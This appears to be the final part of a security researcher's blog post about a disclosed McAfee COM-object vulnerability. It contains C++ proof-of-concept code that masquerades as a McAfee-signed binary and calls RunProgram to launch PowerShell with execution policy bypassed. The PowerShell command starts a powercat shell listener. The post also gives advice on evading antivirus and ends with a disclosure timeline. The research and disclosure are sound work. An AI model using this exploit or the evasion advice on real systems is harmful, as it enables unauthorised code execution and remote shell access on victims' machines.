    virtual HRESULT Proc9(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
    virtual HRESULT Proc10(/* Stack Offset: 8 */ /*[Out]*/ BSTR *p0);
    virtual HRESULT Proc11(/* Stack Offset: 8 */ /*[Out]*/ short *p0);
    virtual HRESULT Proc12(/* Stack Offset: 8 */ /*[In]*/ short p0);
    virtual HRESULT Proc13(
        /* Stack Offset: 8 */ /*[In]*/ BSTR p0,
        /* Stack Offset: 16 */ /*[Out]*/ BSTR *p1);
    virtual HRESULT RunProgram(
        /* Stack Offset: 8 */ /*[In]*/ BSTR bstrExePath,
        /* Stack Offset: 16 */ /*[In]*/ BSTR bstrCmdLine,
        /* Stack Offset: 24 */ /*[Out]*/ /* ENUM16 */ int *returnCode);
    /* Other methods */
};

_COM_SMARTPTR_TYPEDEF(IMcClassFactory, __uuidof(IMcClassFactory));
_COM_SMARTPTR_TYPEDEF(IManageOem, __uuidof(IManageOem));

int main()
{
    try
    {
        HRESULT hr = ::CoInitializeEx(0, COINIT_MULTITHREADED);
        if (FAILED(hr))
            throw std::runtime_error("CoInitializeEx failed. Error: " + std::to_string(hr));
        auto coUninitializeOnExit = wil::scope_exit([] {::CoUninitialize(); });

        const GUID CLSID_CoManageOem =
            { 0x77b97c6a, 0xcd4e, 0x452c, { 0x8d, 0x99, 0x08, 0xa9, 0x2f, 0x1d, 0x8c, 0x83 } };
        IMcClassFactoryPtr pMcClassFactory;

        hr = ::CoGetClassObject(
            CLSID_CoManageOem,
            CLSCTX_LOCAL_SERVER,
            nullptr,
            IID_PPV_ARGS(&pMcClassFactory));
        if (FAILED(hr))
            throw std::runtime_error("CoGetClassObject failed. Error: " + std::to_string(hr));

        const auto thisModulePath = fs::path(wil::GetModuleFileNameW<std::wstring>(NULL));
        auto thisModuleParentDirectoryPath = thisModulePath.parent_path();

        auto mcAfeeSignedImagePath = McLaunchExePath;
        MasqueradeImagePath(mcAfeeSignedImagePath);

        IManageOemPtr pManageOem;

        hr = pMcClassFactory->InternalCreateObject(
            __uuidof(pManageOem), reinterpret_cast<LPVOID *>(&pManageOem));
        if (FAILED(hr))
            throw std::runtime_error("InternalCreateObject failed. Error: " + std::to_string(hr));

        auto cmdLineString = std::wstring(LR"(-nop -ep bypass -c ". )") + (thisModuleParentDirectoryPath / L"powercat.ps1").wstring() + LR"(;powercat -l -p 12345 -ep")";

        auto exePath = ::SysAllocString(LR"(C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe)");
        auto cmdLine = ::SysAllocString(cmdLineString.c_str());
        auto freeBstrStringsOnExit =
            wil::scope_exit([exePath, cmdLine] { ::SysFreeString(exePath); ::SysFreeString(cmdLine); });

        int errorCode;

        hr = pManageOem->RunProgram(exePath, cmdLine, &errorCode);
        if (FAILED(hr))
            throw std::runtime_error("RunProgram failed. Error: " + std::to_string(hr));
    }
    catch (const std::exception &e)
    {
        std::cerr << "Exception: " << e.what() << std::endl;
        return -1;
    }

    return 0;
}

And below is demo of the PoC:

Note: Recently AV have been detecting “powercat” and quarantining it. So for the demonstration purposes, the script must be added to the exclusions, and to work in real life, the payload must be changed to something slightly less famous.

0x08: Conclusion

As you can see, the reported vulnerability is quite simple, but not obvious in terms of its search, discovery and exploitation. And to simplify the task of searching for vulnerabilities in COM-objects, a modern, powerful and flexible tooling comes to the rescue - OVDN. I hope this post will help you learn OVDN and start using it.

In addition, you can notice that the vulnerability wouldn’t have been found if we had stopped at a static analysis of the attack surface. Therefore it’s always important to check your expectations, based on static attack surface analysis, with a dynamic test. Results will surprise you :)

0x09: Disclosure Timeline

  • 2020-11-03 Initial report sent to McAfee.
  • 2020-11-04 Initial response from McAfee stating they’re being reviewed it.
  • 2020-11-24 McAfee triaged the issue reported as a valid issue and is starting work on a fix.
  • 2021-02-10 McAfee releases patched version of product and published the security bulletin.
  • 2021-05-18 This report has been disclosed.

Categories:

Updated: